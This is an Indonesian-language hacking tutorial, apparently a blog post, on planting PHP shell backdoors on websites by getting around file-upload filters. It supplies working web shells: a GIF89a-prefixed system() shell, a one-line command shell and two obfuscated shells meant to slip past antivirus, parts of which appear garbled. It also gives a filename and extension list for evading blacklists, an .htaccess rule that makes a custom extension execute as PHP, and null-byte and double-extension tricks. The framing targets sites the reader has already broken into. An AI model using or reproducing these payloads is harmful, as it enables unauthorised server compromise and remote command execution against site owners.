Yo Whats up Exploiter, Kali ini saya akan share beberapa tips jika tidak bisa upload shell backdoor, pasti kalian pernah ngalami kejadian seperti ini juga kan. udah dapet web, bisa masuk dashboard pas nyoba upload shell ehh malah gabisa. sfx:*FUCEK!!. ok langsung aja simak artikel dibawah
1. Client Side Filters Bypass
apa itu Client Side Filters Bypass? adalah filter yang berbasis browser atau kita dapat mengatakan menggunakan javascript untuk memvalidasi jenis file yang kita unggah. Jika file tersebut tampaknya tidak valid maka jika memberi kesalahan. Baiklah semuanya baik-baik saja sampai di sini, tetapi masalah dengan sekuritas berbasis javascript adalah terlalu bergantung pada browser dan penyerang juga dapat merusak permintaan sebelumnya jika mencapai server. Berikut adalah beberapa trik yang dapat dimainkan oleh penyerang untuk memintas sekuritas tersebut:
1. Nonaktifkan JavaScript di browser.
2. HTTP Live Headers untuk memutar ulang permintaan yang dirusak.
3. Tamper data menggunakan addon firefox.
4. Membuktikan aplikasi dan mengutak-atik permintaan.
Karena semua di atas adalah jenis bypass yang sama dan mengetahui bahkan salah satu dari mereka akan bekerja untuk Anda, jadi saya akan menggunakan pendekatan terakhir dalam tutorial ini. Progres BURP penyiapannya yang sangat sederhana dengan browser Anda dan game dimulai. Saya akan menunjukkan kepada Anda langkah-langkah dasar untuk menggunakan BURPSUITE.
Langkah 1: Buka proxy Burp Anda dan pastikan yang mendaftar ke port 8080:
Langkah 2: Konfigurasikan Firefox Anda untuk mengirim lalu lintas melalui port Localhost 8080, Goto Tools-> Options-> Advanced-> Network-> Settings membuat perubahan yang ditampilkan di foto.
Anda berhasil mengalihkan lalu lintas melalui BURP. Sekarang goto Proxy-> Intercept Tab dan aktifkan Intersepsi jika tidak aktif, sehingga Anda dapat mengubah konten permintaan sebelum mencapai server:
Sekarang katakanlah ada situs web di mana Anda mencoba mengunggah shell dan itu menunjukkan kesalahan, bahwa Anda hanya dapat mengunggah file gambar, cukup ganti nama shell.php Anda ke shell.php.jpg dan unggah file tersebut. Ketika Anda akan mengklik submit, permintaan akan pergi dari BURP. Ubah nama file file kembali ke shell.php dan untungnya jika tidak ada pemeriksaan di sisi server maka Anda akan mendapatkan shell Anda diunggah.
2. Bypassing Content/type Verification
1. Ubah Tipe Konten menggunakan Modifikasi Permintaan.
2. Fool Server side check menggunakan GIF89a; header
3. Suntikkan payload Anda di Image Metadata / Komentar
Ubah Tipe Konten menggunakan Modifikasi Permintaan.
Seringkali Developer bergantung pada permintaan "Content-Type", skrip upload memeriksa tipe konten dan jika jenis gambarnya hanya file yang diunggah. Masalahnya di sini sekali lagi adalah konten-Type variabel dapat diubah sebelum mencapai server. Seperti yang Anda lihat di Image, tipe kontennya adalah "application / octet-stream", ubah ke "image / gif" dan harap itu akan bekerja untuk Anda.
Pemeriksaan sisi Server Fool menggunakan GIF89a; header
Kadang-kadang pemeriksaan tanda tangan konten sisi server dapat dibodohi menggunakan "GIF89a;" tajuk di shell Anda. Jadi inilah contohnya:
GIF89a;
<?
system($_GET['cmd']);// atau Anda dapat memasukkan kode shell lengkap Anda
?>
Menyuntikkan muatan Anda dalam Metadata Gambar / Komentar
Yah ada banyak hacks yang bisa kita lakukan dengan file gambar kami beberapa dari mereka adalah menyuntikkan muatan ke dalam header metadata menggunakan exiftools atau Anda dapat menggunakan alat bernama "edjpgcom.exe". Gunakan baris perintah "edjpgcom.exe yourimagefilename.jpg" untuk menambahkan komentar ke gambar Anda.
3. Bypassing Extension Black Listing
Beberapa kali pengembang menggunakan pendekatan daftar hitam terhadap shell upload, masalah dengan approad daftar hitam selalu sama yang Anda selalu lupa untuk memblokir sesuatu atau bypass baru mungkin mengganggu keamanan Anda. Di sini juga sama, katakanlah jika pengembang memfilter file php dari mengunggah melalui server. Kami memiliki sejumlah cara untuk melewatinya.
1. Coba ekstensi yang dapat dieksekusi lainnya.
2. Bypass Case Sensitive Filter.
3. Penghentian filter Regiotic Idex.
4. Tambahkan shell untuk dieksekusi menggunakan file .htaccess.
Coba ekstensi yang dapat dieksekusi lainnya.
Pertama kita telah memiliki beberapa ekstensi php yang pengembang mungkin telah lupa sehingga kita dapat mengubah nama file kita menjadi
shell.php1
shell.php2
shell.php2
shell.php4
shell.php5
shell.phtml
Kita bahkan dapat mencoba mengeksekusi shell perl dengan extention .pl atau .cgi .
Bypass Case Sensitive Filter.
Jika semuanya sudah masuk daftar hitam dengan baik, kita masih dapat mencoba mengganti huruf untuk melihat apakah filternya sensitif huruf atau tidak, dengan kata lain coba:
shell.PhP
shell.Php1
shell.PhP2
shell.pHP2
shell.pHp4
shell.PHp5
shell.PhtMl
bypass filter Regiotic Idex .
Sangat sedikit kali Anda dapat menggunakan pemeriksaan ekstensi file menggunakan regex, kasus semacam itu dapat menyebabkan kegagalan regex. Di sini programmer mungkin telah membuat regex buruk yang hanya memeriksa keberadaan ".jpg" dalam nama file, sehingga kasus seperti itu dapat dilewati dengan menggunakan ekstensi ganda seperti shell.jpg.php dan seterusnya.
Tambahkan shell untuk dieksekusi menggunakan file .htaccess.
Tetapi jika kita tidak beruntung dan semua ekstensi di atas tidak berfungsi maka kita masih memiliki satu peluang bagus untuk mendapatkan shell melalui situs web menggunakan file .htaccess. File htaccess adalah file konfigurasi di server Apache. Menggunakan salah satu pengaturannya kita dapat mengubah perilaku tipe file. Sekarang mari pilih ekstensi file yang tidak masuk daftar hitam, salah satu favorit saya dalam hal ini adalah. Ekstensi yang lebih baik. Jadi di sini adalah konfigurasi htaccess yang harus Anda tangani dalam file .htaccess lalu unggah di folder dan kemudian unggah php shell Anda dengan nama shell.shell dan boom !! itu akan dieksekusi.
AddType application/x-httpd-php .shell
4. Bypassing the Extension White Listing
Dalam beberapa kasus pengembang telah menggunakan daftar putih ekstensi, melewati keamanan tersebut biasanya server web atau bypass berbasis Bahasa. Ini adalah kasus ketika pengembang tidak mengizinkan ekstensi lain selain beberapa ekstensi yang terdaftar putih, seperti katakanlah itu fungsi upload gambar sehingga hanya jpg, jpeg, gif, png, bmp dll hanya diperbolehkan. Kita bisa mencoba trik berikut:
1. Null Byte Injection
2. Bypass menggunakan dua Ekstensi
3. Invalid Extension Bypass
Null Byte Injection
trik pertama kami adalah byte injeksi Null mana beberapa kali ketika kita memasukkan nama file seperti shell.php% 00.jpg yang bagian setelah% 00 dibatalkan oleh bahasa dan file akan diunggah dengan nama shell.php.
Bypass menggunakan dua Ekstensi
Dalam kasus seperti itu kita dapat menggunakan shell.php.jpg, shell.php: .jpg, shell.php; .jpg kadang-kadang migh mengarah ke eksekusi shell tetapi biasanya dengan webserver atau sistem operasi berbasis OS. Jadi kita tidak bisa menyalahkan programmer dalam kasus seperti itu. Tetapi membiarkan nama file tidak berubah adalah praktik pemrograman yang buruk.
Invalid Extension Bypass
Berikut adalah eksploit sisi server lain, terkadang ketika kita menggunakan ekstensi seperti .test yang tidak dikenali oleh sistem operasi, maka ekstensi pertama digunakan, jadi kita bisa mencoba mengunggah shell.php.test.
5. Bypassing the Content Length and Malicious script checks
Kadang-kadang kita menghadapi pemeriksaan panjang konten yang sebenarnya tidak begitu umum, tetapi kita tahu tidak ada akhir kebodohan manusia. Ingatlah bahwa ada beberapa cara yang sangat mudah untuk melewati pemeriksaan semacam itu. Jika server memeriksa input file yang sangat kecil maka di sini adalah kode shell smalles yang dapat Anda gunakan:
<?system($_GET[0]);
Sekarang bagian selanjutnya ukuran file cek untuk file yang lebih besar, bypass dapat memompa file untuk membuatnya lebih besar, hmmmm saya tidak berpikir saya perlu memberitahu Anda bahwa, jelas Anda dapat memasukkan banyak sampah ke dalam file Anda.
Malicious script checks Bypass
Seringkali kami berhasil mengunggah Shell melalui server, tetapi ketika kami mencoba mengaksesnya, kami menemukan bahwa file tersebut sudah dihapus. Terima kasih biasanya karena beberapa AV atau skrip lainnya memeriksa file berbahaya di server dan menghapusnya. Sekarang kita dapat menangani masalah itu dengan mudah tetapi saya menulis ini untuk mereka yang tidak tahu untuk menangani masalah seperti itu. Jadi di sini kita perlu pengetahuan dasar tentang pengkodean atau yang bisa dilakukan oleh beberapa salinan / tempel. Di sini saya termasuk beberapa skrip kerang yang bekerja dalam situasi seperti itu: Shell-1: Anda dapat menjalankannya seperti "shell.php? 0 = system & 1 = ls"
<?
@$_[]=@! _; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[(( $__) ($__ ))].=$_; $_[]= $__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__ $__) $_[$__-$__]).($__ $__ $__) $_[$__-$__]; $_[$__ $__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__ $__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__ $__] .=($_[$__][$__ $__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__ $__] ;$_[@-_]($_[@! _] );
?>
shell-2: Anda dapat menjalankannya seperti "shell.php? _ = system & __ = ls"
<?php
$ _ = "{"; $ _ = ($ _ ^ "<"). ($ _ ^ ">;"). ($ _ ^ "/"); ?> <? = $ {'_'. $ _} ["_"] ($ {'_'. $ _} ["__"]);
?>
Ok semoga artikel ini bermanfaat untuk kalian :)
Reference : https://securityidiots.com